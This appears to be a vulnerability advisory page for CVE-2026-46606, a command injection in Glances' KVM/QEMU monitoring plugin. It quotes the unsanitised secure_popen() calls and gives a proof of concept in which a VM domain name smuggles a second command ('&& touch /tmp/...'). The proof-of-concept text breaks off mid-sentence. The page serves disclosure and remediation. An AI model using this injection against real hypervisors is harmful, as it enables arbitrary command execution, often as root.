A AegiFlow
HIGHCVSS 7.8EPSS 0.2%

CVE-2026-46606

Glances is Vulnerable to Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py

Published
2026-06-22
Modified
2026-07-21
EPSS percentile
12%
Aliases
GHSA-v5r2-qh84-fjx5
Sources
github-advisory

Summary

### Summary The Glances KVM/QEMU monitoring engine (`glances/plugins/vms/engines/virsh.py`) passes VM domain names, read directly from `virsh list --all` output, into f-string command templates that are processed by `secure_popen()`. `secure_popen()` is explicitly designed to interpret `&&`, `|`, and `>` as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts. --- ### Details **Affected file:** `glances/plugins/vms/engines/virsh.py` **Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):** - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185 - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204 The vulnerable calls are on lines 185 and 204: ```python # line 185 (update_stats) ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}') # line 204 (update_title) ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}') ``` `domain` is the name string parsed from the output of `virsh list --all` (line 59–78 in the same file); no sanitisation is applied to it at any point before it reaches `secure_popen()`. `secure_popen()` is defined in `glances/secure.py`. It explicitly splits the command string on `&&`, `|`, and `>` before invoking `subprocess.Popen` with `shell=False` on each part, meaning all three operators are treated as real pipeline/redirection control characters: ```python # glances/secure.py def secure_popen(cmd): ret = '' for c in cmd.split('&&'): # '&&' → two separate processes ret += __secure_popen(c) return ret def __secure_popen(cmd): for sub_cmd in cmd.split('|'): # '|' → stdin/stdout piped p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE) # '>' is split separately for file redirection ``` By contrast, `actions.py` sanitises process names through `_sanitize_mustache_dict()` before they reach `secure_popen()`. The `vms` plugin applies no such protection. **Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da). All three injection operators were verified: | Operator | Effect | Confirmed | |----------|--------|-----------| | `&&` | Second command executes after the virsh call | Yes | | `\|` | Output of virsh piped to injected command | Yes | | `>` | virsh output redirected to arbitrary file | Yes | --- ### PoC **Special configuration required** * Glances must be configured to monitor a KVM/QEMU hypervisor: the `vms` plugin must be enabled and `/usr/bin/virsh` must be installed and executable. * The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the `libvirt` group, a typical default on Ubuntu/Debian/Fedora, or a cloud-platform tenant account). * No custom `glances.conf` settings are needed beyond a working virsh setup. **Step 1 — Create a VM with a crafted domain name** Using the `&&` operator to chain a second command: ```xml productionDB && touch /tmp/glances_pwned 131072 1 hvm ``` ```bash virsh define evil-domain.xml ``` **Step 2 — Start Glances with KVM monitoring enabled** ```bash glances # or: glances -s / glances -w ``` On the next monitoring cycle Glances calls: ``` virsh domstats --nowait "productionDB && touch /tmp/glances_pwned" ``` which `secure_popen()` splits into two processes: 1. `virsh domstats --nowait productionDB` 2. `touch /tmp/glances_pwned` **Step 3 — Verify execution** ```bash ls -la /tmp/glances_pwned # file will exist, owned by the G

Affected packages

EcosystemPackageAffected versionsFixed versions
PyPIglances4.5.5

Remediation: Upgrade to 4.5.5 or later.

References

Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.

CVE® is a registered trademark of The MITRE Corporation. CVE content reproduced under the CVE Terms of Use; copyright designation © MITRE.

EPSS scores provided by the FIRST.org Exploit Prediction Scoring System.